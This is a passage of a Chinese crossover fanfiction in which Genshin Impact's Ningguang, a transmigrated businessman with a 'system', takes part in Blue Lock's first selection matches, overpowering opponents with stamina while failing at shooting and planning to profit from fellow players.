就算这个世界的主线再怎么是足球,在「剧情」开始之前,一些该正常运行的地方还是需要运行的。
而有些公司、集团都不愿意一个新人挤压他们的空间。初期的凝光吃了不少苦头才起来,后来他就把那些敢给他搞事情的公司都创亖了。
凝光:哈哈哈哈哈都给爷死!
系统:小心ooc……?什么?居然没有?!
玩过游戏的凝光深藏功与名。
他做的可能都没有【凝光】狠,怎么可能会ooc?
顺便一提,这一次蓝色监狱的投资资金,也是多亏了他的某位“天使投资人”啊。
凝光沉浸在了思绪之中,好半晌才回答系统:【先在这里混着,等着绘心甚八把我淘汰,转为幕后人员。】
说实话他要是目标不变的话,离开这蓝色监狱之后真的会很烦。他明明有一条康庄大道可以走,为什么要去为难自己?
而且既然已经不能低调,那么他就只能高调起来了。反正在足球业这个赛道,他也不过是个初出茅庐的家伙,没人认识他。
【嗯,我支持你的每一项决定。】系统没有反驳凝光。
其实,从凝光立下成为全球首富的宏伟目标那一刻起,就能看出他的性格特质——他从不做模棱两可的事情,要么选择放弃,要么就全力以赴,誓要夺得头筹。
因此,面对凝光现在的决定,系统并没有感到丝毫惊讶。毕竟,这样的凝光才是凝光。他要是退下了,系统才觉得自己反而得看看,是不是有人趁它不在,夺舍了凝光。
【但是请注意,一切风险都要我/你自己承担。】
两“人”异口同声。
系统一愣。
凝光笑道:【听了太多次,已经倒背如流了。不过多谢了啊,我一直铭记在心。】
系统也是叹了口气,也不知道是幸运还是不幸,它的宿主很强。可正因如此,这些世界的局限限制了他们。
比如说凝光想要做大做强,可想要达到他的目标就必须跟足球、跟「剧情」有关联了。九条裟罗想要覆灭组织,在组织卧底多年,却也是不等「剧情」开始就是没用。
以后还是得想个办法,找点局限性不强的世界。
系统思考着,悄悄下定了决心——它要强大起来,让自己宿主能够自由自在地发挥自己的能力。
凝光当然是不知道这件事的,他整理好思绪后就回去了宿舍,准备拿上衣服去洗澡然后睡觉。
身体素质好是一回事,之后的训练也不是只要求这个的。
他在什么方面都得是最强好吧?
系统见不需要自己出场后又想了想,还是决定背着凝光找第三、四、五……位宿主了。
没有办法,只有完成任务它才能变强,才能让宿主更加随心所欲。可要是等裟罗和凝光,那可能真的就没有什么希望了。
不过这件事没有跟凝光商量过,导致系统有些心虚。
所以要是凝光看得见系统,那肯定会看到一只斜带着面具的猫猫,正狗狗祟祟地扒拉着世界的裂痕空间想要离开。
一无所知的凝光,则是美美躺下休息了。
就连做梦,都是他成为蓝色监狱的第一,然后顺利成为全世界的首富。
第一、嘿嘿、第一、他的第一!
人不做第一枉为少年人啊——!
于是在此次选拔赛的第一轮较量中,凝光同学一反常态,彻底告别了之前游戏中的消极态度。
他那犹如火焰般赤红的眼睛里,透露出一种锐不可挡的锋芒。这种强烈的求胜欲望,仿佛化作了一股无形的力量,推动着他全速奔跑在绿茵场上。
令人惊讶的是,凝光那股势不可挡的冲劲儿,竟然一度让赛场上素有威名的系师凛,都隐隐感受到了些许压力。
系师凛:???
不确定,再看看。
这是第一次选拔赛,即在初试中留下的同一栋楼的少年们,将分组并进行激烈的对抗淘汰赛。
同样这也是一场残酷的较量,每一位参赛者都必须全力以赴,因为这场淘汰赛将会筛掉将近一半的选手。
可以说,这是蓝色监狱前期最为严苛,也是最为惊心动魄的一场选拔赛了。
而且在这场淘汰赛中,要想留在蓝色监狱,仅仅依靠队伍的胜利是远远不够的。个人的表现也必须足够出色,足够引人注目,才能在众多竞争者中脱颖而出。
因此,每一位参赛者都鼓足了劲头,力求在比赛中展现自己的才华和实力,从而在蓝色监狱中站稳脚跟。
然而在这场比赛中,七星虹郎却是发现了一个异常耀眼的存在——凝光。
他在这场比赛中的表现无疑是最为出色的,无论是技巧、策略还是个人能力,都让其他选手望尘莫及。
七星虹郎喃喃道:“哇……真的假的啊?”
明明就在数分钟,他们队伍的大家,都还认为自己有赢的可能。
可短短数分钟,他们的希望就被彻底打碎了。
彼时因为开球权在他们的队伍手中,所以大家不约而同对视一眼,采用了之前讨论出来的plan b,并站到了相应的位置。
“呼——”
开
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球员劈大河深呼吸一口气,心中计算着怎么才能进球,尤其是在这只跑过几次的场地上。
心中的犹豫不决因计划的开始而被压下,那双黄棕色的眼眸中闪过一丝坚定。
“砰——”
下一瞬,脚面狠狠踢向那安静躺在中心标记上的足球。
开球了。
这意味着比赛正式开始。
伴随着一阵破风声,足球在空中高速旋转并袭向球门。
“拦住——!他们想直接进球——!”
有人看出了劈大河的想法,高声呼喊着。
满脑子都是要做前锋的守门员,显然他根本没有任何应对的经验,面对这意料之外的一球,显得很是手足无措。
与他们的无措不同,劈大河他们就很淡定了。
“哼哼!别想!”
他们第一时间拦住了对手。
这,就是他们的计划。
无论如何,第一把就拿下了开球权,他们怎么说也要进一次球!
这或许是他们整场比赛唯一的机会!
毕竟对手是强大的系师凛和横空出世的凝光,不出意外的话,光这两个人都足够碾压他们一整个队伍了。偏偏他们都是前锋不说,相互之间还没有任何的默契。
由此,大家只能希望开球的那一球,能直接射入对方球门。
于是他们就赌了一把,甚至在选开球员的时候,大家都各退了一步,没有硬抢开球员的位置。并且主动将这个最可能得MVP的机会,交给了队伍中相对来说,最擅长中程射门的劈大河*。
可惜最后还是没有成功。
那道银白色的身影,就好像是早有预料一般,折返回球门前方跳起,用胸口截停了足球。
同时几乎是在眨眼间,他便带球跑地穿梭了半个场地。
要知道那一来一回,足足有50多米啊!
有这实力不去短跑,来参加足球比赛?
而且一场比赛下来要90分钟啊,什么神人啊,开局就这么消耗体力的吗?!
七星虹郎感觉自己要哭了,然而他的身体却先他意识一步反应了过来。
他立刻边追边喊:“回防——!”
系师凛也是没有任何犹豫,直直跟上了凝光。
在听到这句话的时候,他的目光甚至连扫都没有扫一眼对方,只是死死盯着凝光。
他从有记忆开始就在踢足球了,丰富的经验使得他一眼就看出凝光动作中的生涩!
如果他没有看错的话,凝光现在完全就是在用自己强大的体能支撑,实际上他根本没有怎么接触过足球——!
在意识到这一点的瞬间,系师凛试图将凝光的身影牢牢记在心中。
与此同时,前方一切顺利的凝光更是感觉自己要飘了。
回防?
回防有什么用吗?
球已经在他脚下了,还没有一个人能跟得上他。
凝光勾唇,脚下一个用力,想要来个精准的射门拿下一分。
这时候,谁都觉得凝光稳了。
尤其是七星虹郎他们那一队,更是在感觉这场比赛中,他们再也别想拿到一分。
然后凝光就给大家表演了个什么叫做“非常漂亮”的射门技术。
他的准头差劲得要死,踢出去的足球离球门那叫一个十万八千里远!
明明那么近的距离就是换条狗都能踢准,可偏偏凝光就是给踢歪了——!
众人:“?????”
众人:“嗯???!”
等等!放弃暂停,他们好像还能赢!
21.第一次选拔赛(2)
一时间,所有人都愣住了。
什么情况?那个超帅的射门姿势和那稀巴烂的结果,真的是同一个人做出来的吗?!
“啊↘哦↗~?”
凝光吹着口哨,试图缓解尴尬。
“冲啊——!这个人的射门技术真的很烂!能赢!我们还有机会——!”
七星虹郎第一时间大喊大叫,将愣神的众人都唤醒了。
他虽然只是一个普通人,但是他也有他的过人之处。
然而在七星虹郎的提醒下回过神来的,并不仅仅是他们队伍的人,凝光队伍的同样反应了过来。
“喂喂喂,不要只盯着凝光一个人啊——!”
于是下一瞬,一众人等拦住了他们,危险地说着。
与此同时,一道人影窜了出去,岌岌可危地截停那险些出线的足球。
索性凝光知道自己的力量,踢球的时候收着力了,不然球早就出线了!
“系师凛?!”
有人惊呼。
系师凛没有回应,一个反身将那球踢进了球门之中。
“哔——”
屏幕跳转。
1:0
没有任何的悬念。
系师凛皱着眉头看向了凝光:“你……”根本不会踢足球。
就是看出了这一点他才一直紧跟着,不然球早就已经出线重新开始了。
“哦哦~凛凛真靠谱~”凝光直接打断。
开什么玩笑,被别人知道他不会踢足球什么的,他不要面子的吗?!
凛凛?!凛凛是什么鬼?!是在喊谁?!
系师凛蚌埠住了。
他瞪大了眼,似乎正在试图理解什么,他这辈子都不会懂的东西。
“各位,比赛还没有结束,友好的交谈就先挪后吧。如果你们都失败了,恐怕就会有更多的时间交流了。”
广播中传来绘心甚八的声音。
“时间是宝贵的,恐怕你们并不想以0分为这场比赛画上句号。”
众人一顿,看向彼此之间的眼神又带上了些许火气。
很快,第二轮比赛开始。
上半场的开球权在七星虹郎他们手上,依旧是劈大河开球。只不过这一次他们并没有使用plan b,毕竟这已经被证实没有用了,所以是更为保守的plan a。
开球之后,系师凛看着面前菜鸡打架的一众人不由得闭了闭眼,没有第一时间过去抢球,而是靠近了凝光。
他冷声道:“你的速度慢一点,刚好借着这个机会联系一下。”
凝光的能力很不错,之后他的团队中可以有他一席之地,为此他需要加强他的实力。
团队。
无论绘心甚八说的再怎么天花乱坠,最后都是需要一个团队的。而他的队友,绝对不能拖后腿。
凝光挑眉,点头同意了,他当然不会拒绝。
怎么说呢,不愧是七星虹郎的老师,初见端倪啊。
看上去不好靠近,实际上是个非常贴心的好孩子。
于是接下来的比赛,打得众人就很难受了。
凝光带球在全场乱跑,有时候还会故意放慢速度尝试带球过人和传球。
虽然在场中的众人或许看不出来,但是看着监控的绘心甚八和帝襟杏里两人,却是一目了然的。
“这……绘心先生,我们是不是该发黄牌警告?”
杏里看了眼面无表情的绘心,有些迟疑地开口。
一定要说的话,凝光的操作已经算是延误比赛的范畴,可以正式发黄牌了。
绘心甚八推推眼镜:“不,这是一次机会。”
凝光没有接触过足球,考虑到他和系师凛之前的交谈和现在的配合,他们肯定是打算利用这次比赛让凝光一点点熟悉起来了,他逐渐灵活的动作就是证据。不过在这场比赛中成长的人,可不仅仅是凝光啊。
双赢的局面,暂时没有必要发黄牌。等两支队伍都没有成长空间之后,再发黄牌作为提醒也不迟。
就这样,45分钟过去了,上半场比赛顺利结束。
而屏幕上的比分则是停留在3:0的状态,给两支队伍都预留了紧绷感——前者只要稍微放松就可能被反超,后者只要稍微努力就可以胜利。
不过七星虹郎他们可没有那么天真,凝光上半场出色的表现,在他们所有人的心头都蒙上了一层雾。
那是怎么也跨越不过去的高山,让他们清楚地知道,这场比赛最出色的人非凝光莫属,就连系师凛都不得不后退半步。
15分钟的休整时间。
休息室中。
有人抱头,绝望道:“怎么办?这还怎么打?”
“赢不了吧?怎么想都赢不了吧?”
听到这话,就连一直努力想要跟上凝光脚步的劈大河和七星虹郎,一时间都不知道能说什么了。
凝光的技术提升哪怕是他们都看得出来,如果说一开始还有机会赢的话,现在根本没有了。而且就算他们能防住凝光,也还有一个系师凛。
可以说是,完全没有获胜的可能了。
此时此刻,整个休息室都充斥着低迷的气息。
“咕噜噜——咔咔——”
七星虹郎先是将矿泉水喝干净,又直接捏爆了瓶子,发出非常响亮的声音。
他大喊:“我们上吧!”
“以后也肯定会遇上比凝光和系师都强的对手的,可是我们绝对不能停步于此——!”
“一次挫折算什么?一次失败又算什么?我们的目标是星辰大海——!”
看起来七星虹郎是陷入了只有自己的世界,整个人都燃了起来。
就是不知道他在燃什么了。
其他人:……
他们面面相觑,眼底是相同的茫然。
——所以他到底在燃什么?
有人捂脸,感觉希望更加渺茫了:“救命,我的队友竟是中二病。”
虽然他们这个年纪中二病多也是正常的,但是现在正在比赛,中二病能对比赛有什么好处?
“但是……但是七星说的也没错吧?我们也不是输一次机会就被淘汰,之后还需要在进行评级……”有人思考道。
劈大河想了想也说:“所以我们现在应该做的,是把这场比赛打完,顺顺利利的结束,半途而废才是最差劲的。”
七星虹郎一回神才发现自己又犯老毛病了,他见大家有了章程之后挠挠头,连连点头。
“能赢吗?”
“包赢的。”
另一个休息室中,凝光将整个背部都靠在了墙上,缓缓恢复着自己的体力。
如果手机在手的话,他还有机会再学一点技术,可惜现在没机会了。
系师凛思考半晌,还是选择主动出击:“凝光,我们聊聊。”
为了达到他的目的,他有必要做出改变。不过这也是只有凝光才有的待遇,目前他遇到的人中,只有凝光让他完全看不透。偏偏在有更好的选择之前,他还需要凝光。
凝光却是想都没想就拒绝了:“嗯……虽然我也很想,但是还是结束之后再说吧。”
他不能确定系师凛要说什么,也不能确定这短短的15分钟够不够用,所以为了保险起见还是不要冒险比较好。
“我同意,尽管不知道你们要聊什么,可现在还是讨论一下接下来的战术比较好。”有人举手说着。
系师凛沉默,战术?他们需要?
虽然让他来说可能听上去有些傲,但是整场比赛的节奏,不一直都在他和凝光手中吗?
“说的好,加分。”凝光一把揽住系师凛,强迫他加入了探讨之中。
系师凛想逃,但恐怖的是他根本没有办法挣脱。
系师凛:……
?????
这是什么力气?!是人应该有的吗?
凝
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光:是的我是神。
总而言之,就是无法抗拒的系师凛被迫参加进了,在他看来毫无用处的探讨之中。
……
15分钟的休息时间,在热火朝天的交谈中流逝,两支队伍摩拳擦掌地重新走进比赛场。
一边想要保住现在的分数,另一边则是想着就算输也要输得体面,当然最好还是进几个球。
“哔——”
广播中传来哨声,下半场比赛开始!
由于上半场的开球权在七星虹郎队伍,下半场自动转移为凝光队伍。
虽然大家稍有意见,但是这一次还是由打算练习射门技术的凝光来开球。
七星虹郎他们对此一无所知,只是在看到凝光开球时又绷紧了肌肉,生怕一个眨眼凝光和系师凛就又消失了。
开球员凝光在开球后,球没有被其他人踢之前,确实不能再碰球,可系师凛又不是开球员。
然而万万没想到,凝光直接复刻了上半场他们的表现,打算一球直接射门!
“砰——”
球高速旋转的同时,直直打在了墙上。
球出界了。
不仅如此,还爆了。
众人:“?????”
七星虹郎无意识地上下摸索着自己。
不是?这球打在他们身上会死的吧?绝对会死的吧?!
显然广播也愣住了,好半天都没有反应。
“凝光,黄牌警告一次。”绘心甚八深呼吸一口气。
天知道如果可以的话,他有多么想直接发一个红牌让凝光下场。
凝光目移,他也没用全力啊,只是觉得毕竟是半个赛场的距离,他需要用点力。
“另外,由守门员高野阔二郎*拿备用球,在出界点一米范围内掷界外球。”
高野颤颤巍巍地去角落拿了备用球,可是因为太害怕了,球滑落了好几次都没能拿成功。
他是守门员啊,要是凝光想要射门,第一个遭殃的就是他啊——!
不过其他人包括凝光队伍的人,都难得的没有催促,毕竟凝光那一球给他们造成的心理伤害真的太重了。
他们都不敢想凝光那一球还是踢在他们身上会发生什么!
滴嘟-滴嘟-滴嘟-
真的太可怕了,他们满脑子都是自己被抬上救护车的画面!
“高野阔二郎,你做好准备了吗?”绘心甚八却是无情道。
高野深呼吸,哆哆嗦嗦道:“是……是的,我可以。”
他可以!不可以也必须可以!
他是要成为最强前锋的人!怎么能败在这里?!
这么想着,高野的眼神逐渐坚定,抱着球来到了指定的位置。
“各位!让我们继续加油吧——!”他也打气道。
凝光那一球彻底打散了他们好不容易激起的斗志,他要是再倒下就真的完了!
“那么——比赛,重新开始!”
“哔——”
“比赛结束——!”
“5:0!”
“请双方都回去房间,准备后续的对赛!”
七星虹郎甚至已经看不到自己被零封了,只是像看怪物一样看着凝光。
整整90分钟啊,中间只休息了十五分钟啊!
凝光到底是什么魔鬼啊?!为什么一点不像是跑了那么久的人啊!
看着粗气都不喘一下的凝光,再看看被满场溜到累趴下的他们,七星虹郎又要哭了。
凝光挑眉,不知怎么回事,他看懂了七星虹郎的意思。
真是抱歉啊,但是岩石的重量就是这样让人安心。
只要脚还踩在地上,他就是无敌的好吧?
体力?要多少有多少!
对不住,但是这开挂的感觉真的很爽。
但是等等,他不能爆种,只是体力好一点好像也不算什么?
凝光陷入了沉思。
22.第一次选拔赛(3)
“朋友?听说你力气很大?体能超好,超持久?”
晚饭时间,一位自来熟来到了凝光身边。
“我叫猿堂寺晓!”他是一头黑发,中间有着一撮深橙红色的挑染,以及同款眼影和金色四芒星的眼眸。
凝光咽下口中的饭菜,礼貌道:“你好,猿堂寺,叫我凝光就可以。不过你说的没错,只要在地上我就是无敌的。”
说实话,他要是帝君面板的话他会更猖狂,所以他现在已经很中调了。毕竟这是足球比赛,凝光还是希望用实力碾压对手。
“你好你好,叫我晓就可以!”猿堂寺感觉自己遇到对手了,不过很快又重振旗鼓。
他好奇道:“我也认识一个跟你一样有着超强体力的人,你们谁能坚持更久啊?”
在凝光队伍参与的比赛结束之后,有关他实力的消息就已经满天飞了。谁让在初试小游戏的时候,凝光就已经很显眼了呢?
关注对手(其实是没有娱乐)的他们,对这些也是非常在意的。
而听到传闻的众人都在私底下,就整体实力比较了一下他和系师凛,就特征比了他和时光青志,就……
总而言之,说什么的都有。
而面对这样的猿堂寺晓,凝光的心情也很复杂。
因为他纯好奇,没有任何恶意,所以凝光沉默了,毕竟这个问题属实不好回答。
可没一会儿,凝光就自信道:“没有比过,不过应该是我。”
猿堂寺晓说的人应该是时光青志,虽然很抱歉,但是在这一块他是真的开挂了!
要是比爆种他可能会输,可开挂的方面还输那是不可能的。
听到这话,猿堂寺眼镜都亮了,他兴致勃勃道:“哦哦~下一场刚好是你们对上,一定要记得跟我说一下——”
猿堂寺话没说完,就被他的队友捂住了嘴。
开什么玩笑,就算是看热闹也要有分寸啊。他们私底下比较是他们的事,谁会舞到正主面前啊?!
哦,是你啊猿堂寺!
原来你就是那个脑子进水了的家伙啊!
“抱歉抱歉,我这就带他走。”那队友一脸尴尬地朝凝光笑笑,随后连忙招呼着其他人,把猿堂寺给抬走了。
而角落中看到这一幕时光青志本人,则是焦虑地要开始咬指甲了。
他嘟囔着,负面情绪扑面而来:“怎么办怎么办怎么办!怎么想都不好吧?完蛋了完蛋了完蛋了,没有进球还好,要是进球了,他不会一脚踢死我吧?!”
在他嘴中,显然是无论进不进球都死路一条了。
堪称焦虑本焦没错了。
“确实很osya啊~”
与他截然不同,蚁生十兵卫看着凝光是满意地点点头,认为凝光很潮流,很符合他的审美。
可他刚刚将视线收回,就发现时光青志又犯老毛病了。
蚁生拍拍时光的后背:“冷静点,你看现在都没有出事,不就是最好的证明?”
“啊……啊…你说的也是啊……”时光倒还算是听进去了,他艰难地扯出一抹笑。
蚁生松了口气,时光的能力还算不错,就是他的思考方式非常消极。如果一开始不开解一下的话,他担心会影响到之后的比赛。
他想了想,又补充了一句:“跟凝光队伍打的人全部都活蹦乱跳着,这就足以说明凝光其实一直都收着力。
更何况仔细想想,凝光完全没有必要因为这种事,而断送自己的职业生涯不是吗?”
按照这个逻辑,可以把凝光看作只是力气大一些的普通运动员。
——才怪。
当两支队伍的比赛正式开始,真切接到凝光的球之后,蚁生才确定自己还是小看了凝光。
他忍不住发出闷哼,这到底是什么鬼力气啊?感觉再重那么一分,他就得倒下了!
有这个力气不去参加举重,来足球比赛做什么?!
蚁生不由得单膝跪地,瞪了眼凝光。
“嘶——不是跟你说过了吗?这个球又进不了门,你就让我随便踢踢好了,千万别去接……”
凝光摸摸后脑勺,有些无奈道。
一分钟前。
很场比赛中,上半场开球权被确定分在了凝光
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队伍。
一如既往地,凝光作为开球员练习射门技术。
他对自己射不进门的技术相当有信心,于是开局就先跟对手说好了,这一球他会用点力,反正进不了也不用拦。要是他真的进球了,那他们队就送一分给对方。
不得不说,这话一出,就说明了凝光队伍对他的信任程度。
虽然是肯定他绝对不会射进球门就是了。
蚁生一开始答应地好好的,结果就是现在这幅惨样。
“蚁生!你没事吧?”时光青志手足无措。
绘心甚八也是第一时间询问:“蚁生十兵卫,是否还能继续比赛?”
“我没问题。”蚁生揉了揉偏腹部的位置。
凝光应该也是察觉到他的想法了,尽管最后没有办法全部收力,却还是使用了巧劲。在最开始最痛的时刻过去后,他也是很快就缓了过来。
绘心甚八转头对凝光说:“凝光,口头警告一次。”
这暂时还达不到发黄牌的程度,算是蚁生逞能的后果。不过凝光还是有一定地危险性,所以有必要提醒一下。
“放心放心,之后都会收着力。”凝光有些熟稔地说着。
一早就怀疑两人认识的系师凛眯眼,“还不重新开始吗?”
“请各位回到自己的位置,由凝光重新开球。”绘心爽快道:“请注意刚刚的事情在赛场上随时有可能发生,所以计时不会重头开始。
不过我也不是什么恶魔,酌情考虑后,上半场还剩下40分钟。”
在绘心说话之际,众人已经重新回到了原点。
看着有些担惊受怕的对手,凝光安抚道:“别担心,这次绝对是正常的。”
射门随时可以练,这时候还是正常点比较好,不然绘心甚八估计要直接给他红牌,让他下场了。
凝光不说还好,他一说时光青志他们就想起了那一球的威力,颤抖地更厉害了。
不过他们的害怕,并不会影响比赛的开始。绘心甚八确定赛场上没有问题后,又启动了计时。
“哔——”
“比赛开始!”
23.第一次选拔赛(4)
一场不大不小的闹剧过后,才彰显出了比赛真正的残酷。
尽管真切接了一次凝光的球后,蚁生十兵卫自认他已经掌握了凝光的弱点。可很快凝光的表现,就明确表示不过是他自以为是罢了。
“呼——”
蚁生深呼吸一口气,沉下心的同时压下心中繁复的思绪。
这一次,凝光如他所说般并没有尝试射门,而是将球传给了已经跑到他们半场的系师凛。
到这为止,一切都如他所料。
有问题的是接下来的事情——
凝光消失了。
本应是靶子的他,就在他的眼皮子底下消失了。
蚁生:?!
开什么玩笑!
他下意识地开始找寻对方的身影。
“什么?!”
可当蚁生重新找到凝光的时候,就发现他已经出现在了系师凛的身边。
他毫不犹豫喊道:“时光!”
蚁生很清楚他自己一个人是对付不了两个人,更何况这也不是他擅长的领域——仅仅只是追上去是没有用的。
“明白。”时光青志一点也不拉胯,他没有将平时的负面情绪带到比赛中来。又或是急迫的赛事,使得他根本没有时间,去想那些乱七八糟的事情。
那边蚁生在回防的同时,也在思考凝光到底是怎么做到,在这么短的时间离开他的视线的。
要知道因为之前听到的,有关凝光体能好的消息,所以他其实一直紧紧盯着凝光啊。可就算是这样,他也还是一开始就跟丢了凝光。
注意到队伍中其他人投来的视线,蚁生直接点头,并没有要修改计划的意思。
计划。
什么计划呢?
——他们队伍的计划,其实是截断凝光和系师凛。
毕竟蚁生很清楚,他们两支队伍从某种角度来说是一样的,都是围绕着两个人进行的战术。
可是凝光队伍和他们不一样,有一个致命的缺陷——凝光本身完全就是一个初学者。
所以蚁生制定的计划,就是盯死凝光。这样一来,他们的队伍就会不攻自破。
是不是觉得这不像是蚁生会制定的计划?
那还真是猜对了。
蚁生和乌旅人有些联系,这个计划其实也是听了后者的建议之后,蚁生才制定的。
然而他们没有想到,在绝对的实力面前,一切计划都没有用处。
甚至拥有绝对实力的人,还是他们一开始有些轻视的凝光——!
无他,凝光毕竟只是在这蓝色监狱中横空出世的存在,最早也只能追溯到小游戏的时候,根本不如系师凛那样有名气。
他们就算再怎么关注,只要没有亲身对上,都会有些深藏心底的轻视。
“你……”蚁生快速追上凝光,有些干涩地开口想要说些什么,却最终还是没有说出口。
是的,这时候蚁生就算再怎么不愿意相信,还是确定了凝光先前能够甩开他,完全是凭借自己的能力了。
凝光却是亲切地主动道:“嗯?怎么了?还有刚才抱歉了,你还好吧?”
他的摇钱树啊,可千万不能有事啊!
凝光控制着自己的眼神不乱扫,防止那有些变态的视线冒犯到蚁生十兵卫。
不过可能他自己都没有发现,他早已开始打量对方。
——四肢修长,立刻就追上了他,脸并不坏,长发也是一个突出的特征……果然,不愧是原著二次选拔中排名第二的人,包装一下后吸钱程度恐怕不会亚于系师凛。
凝光无意识地评价着。
“跟刚刚说的一样,你很有分寸,最痛的感觉消退之后,很快就好了。”蚁生只感觉一阵恶寒,脚下都有了些许卡顿,停了半拍才回应。
凝光点头:“那真是太好了。”
他可太担心了。
毕竟这些人后续肯定会去不同的俱乐部,在蓝色监狱的时间并不长。由此他能从他们身上赚钱的时间并不长,所以现在可不能让他的商品有所损坏啊。
更何况就刚刚那种情况,连用搞笑的方式收割韭菜,都没办法持续多久。
“所以你不用手下留情。”蚁生又道:“全力以赴才是最好的选择。”
既然凝光切实如传闻那种强悍,那么现在这样无疑就是在迁就他,否则他一瞬间就能够甩掉他。
而且传闻说球一直都是由凝光和系师凛掌控的,现在都已经在小林脚下了。要不
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是系师凛震着场面,就凝光这撒手的样子,恐怕队伍已经一团乱了。
凝光一愣,他了然道:“你想多了,其实并不是因为你。”
正如之前说的开球如果射进门,那就让一分给对手。既然如此,没有射进门也需要有代价啊。
毕竟一次两次就算了,一直都让他做开球员不说,亮眼的操作也只有他有,大家都会有意见的。
“什么?”蚁生愣了一瞬,却很快就明白了凝光的意思。
他扯扯嘴角:“这里讲究「自私」,你却要崇尚「无私」吗?”
“朋友,不同的做法罢了。”凝光叹气:“每个人都有每个人的追求不是吗?我的人生不是由绘心甚八掌控的,我也不是离开蓝色监狱,人生就全部都完了。”
是,他跟其他人不一样,还有后路可以走。
然而那并不是关键,关键在于他的人生必须由他自己掌控,由他的思想与认知来决定。
而且这里不是原著,不是离开蓝色监狱人生就彻底失败了。在他的努力下,“剧情”结束或是影响力减弱之后,足球不会再是这个世界的所有,至少众人对足球的执念会减弱。
然后,他就会成为大家的另一条出路,只要他们能够反馈给他钱。
所以作为一个商人,他会让每个人都展现出自己的魅力。
钱来!
钱从四面八方来!
这就是他与绘心甚八制衡得到的局面。
这时他愣住了。
陡然间发现了自己曾想着钱可能是代价,最后却是名气了。就他现在这无时无刻不想着钱的情况,钱怎么可能离他而去?
“哈——我知道了,所以你不会再出手了?”蚁生挑眉,抓住了重点。
凝光眼角余光看向想要抢球的时光青志,思考道:“你们可能误会了什么。”
“我不是不会出手,而是一直在出手啊,更何况我不去抢球,也没人说凛不能去抢啊?”
“什么?!”蚁生立刻反应了过来,现在被拖住的人不是凝光而是他!
可当他想要回防时,却发现凝光早已借此,牢牢地挡住了他。
下一瞬——
“哔——”
0:1
24.第一次选拔赛(5)
“哈——”蚁生十兵卫眼睛微微睁大,一脸地难以置信。
他撩起长长的刘海,抬高头颅,有些咬牙切齿道:“被摆了一道啊?”
“好说好说,也就将计就计而已。”重新回去自己半场的凝光微笑。
在足球比赛中,有效进球后是否需要重新开球这一点,一般来说都是不需要的。不过因为这并不是强制要求,所以具体情况还是看该场比赛的规则的。
而目前这两天凝光参与的比赛,恰好都有这个规则。
这是在牵制谁,凝光知道,但凝光不说。
因为凝光不care。
左右不会影响他赚钱,作为一个好老板,他会体贴下属的一点点小心思。
凝光淡定地将球踢进对方半场,做完了一个开球员应该做的。
不过因为系师凛在刚刚打了对方一个措手不及后,所以这一次球被早有准备的时光青志拿下。
凝光下意识看了眼系师凛,想看看这是怎么个事。毕竟按照他的性子,不应该直接抢吗?
然而他却发现,系师凛正紧盯着蚁生十兵卫。
凝光:?
哦,想起来了,蚁生在原著中是系师凛的队友来着,这就有苗头了吗?
然而实际上,却是系师凛觉得蚁生想要挖他墙角罢了。
之前就说了,系师凛是想要凝光做他的队友的。可就在他展现自己的实力,想要凝光拜在他脚下的时候,敌对方却悄咪咪地接近了凝光,然后背着他说了些什么。
系师凛:呵呵呵呵!
他盯着蚁生的眼神极为冰冷。
蚁生十兵卫一脸茫然。
发生了什么?怎么突然感觉身上凉飕飕的?
明明一球下来,身上也没有出汗啊?
更恐怖的是,在这之后,系师凛把他们给打爆了。
当然,这不是字面意思的打爆。
是系师凛不断进球且没有让他们队伍进一个球的心理打击。
两个队伍总共就只有四个人拿得出手,在凝光拦住蚁生之后,其他人为了合群各自拦了一个旗鼓相当的对手,于是时光青志就只能自己一个人对上系师凛。
时光青志:????
明明是团队赛,可硬是被他们打成了1v1的比赛。
不得不说,时光青志都快要哭了。
因为在原著排名中,系师凛第一,时光青志第三。
并没有贬低时光青志的意思,只是他想要一个人赢过系师凛还是有难度的。
于是上半场结束之后的休息室,又出现了一群低迷不振的小年轻。
“啊啊啊啊啊啊——!”
时光青志抱头尖叫,要不是蚁生阻止,他能当成表演一个阴暗爬行。
他哽咽道:“怎么打?拿命打吗?”
系师凛眼睛都红了好吧?
他感觉他能活着从赛场上走下来都是一件幸事了!
“系师凛那家伙……完全杀红眼了吧?谁惹他了啊?”有人瑟瑟发抖地抱住了自己。
明明才高度运动45分钟,身体正是热着的时候,他们却好像身处南北极,冷得要死。
另一个人也跟着吐槽:“很莫名其妙啊,一开始还好好的啊!”
“朋友们,能不能说点有用的,问题是下半场怎么打好不好?”冷眼旁观的人讥笑一声。
第一个说话的人冷笑道:“哦?那你有什么高见?”
“就算被发红牌,我也要进球,也要阻止他们进球!”冷眼旁观的家伙还没有开口,就有人激动地发表了自己的感言。
无效进球和红牌是接近的两个概念,也有被罚红牌的有效进球!
而在一群进不了球的人当中,只要他能够进球,那肯定能留在蓝色监狱!
然而听到这话的其他人却是一言不发,看他的眼神像是看什么怪物一样。
那最先挑起话题的冷眼旁观者,更是连额角都有冷汗落下:“山下,我知道你很激动,但是你先别激动。”
他原以为自己已经足够激进,万万没想到还是保守了。
怎么着?难不成真就应了那句话,激进派觉得保守派不够保守,保守派觉得激进派不够激进?
倒反天罡!
“那你说怎么办?!”激动者——山下有水大声嚷嚷着:“你又能说出什么?!田中!”
一副要是有人敢阻止他,他就创亖对方的模样。
冷眼旁观者——田中有梗切实噎住了:“呃……”
老实说他不想吵来着,毕竟三人成虎,十一个人可不得吵翻天?
可现在这样,似乎不得不吵?
“都给我冷静下来,这幅样子真是一点都不osya!”蚁生深呼吸一口气:“而且你别忘了我们签署的合同。”
他试图用合同让众人冷静下来,然而在看到一脸懵逼的众人之后,他不由得瞳孔地震。
蚁生捂嘴防止自己尖叫出声:“不是?你们签名的时候都不看一下条款的吗?!
不然你们以为最初的游戏为什么隔了那么久啊?!”
蓝色监狱是正规化的,不仅仅是其制作人在网上公开发布相关言论,跨国公司璃月集团也提供了技术和资金支持。
他刚刚说的合同,其实就是与璃月集团签署的。而且他们身上穿的特制衣服,以及后续的体检包括治疗在内,全部都由璃月集团负责。
“时光——!时光你肯定看了吧?!”蚁生下意识看向唯一让他放心的人。
时光青志沉默不语,时光青志慌乱心虚,时光青志默默低头。
蚁生扶额,这他还有什么不懂的?
“我看了我真的看了,但是字太多了……”时光青志手舞足蹈。
蚁生叹气,他看了一眼其他人,确定了在场应该只有他一个人知道合同的事。
这都什么事啊?
不过还好,终究是达成目的,让他们都冷静下来了。
随后蚁生简单道:“我们的体检是公开透明的,只不过面向外界时会隐藏身份信息,只有家人可以凭借我们这些选手的个人编号,搜查到我们的现状。
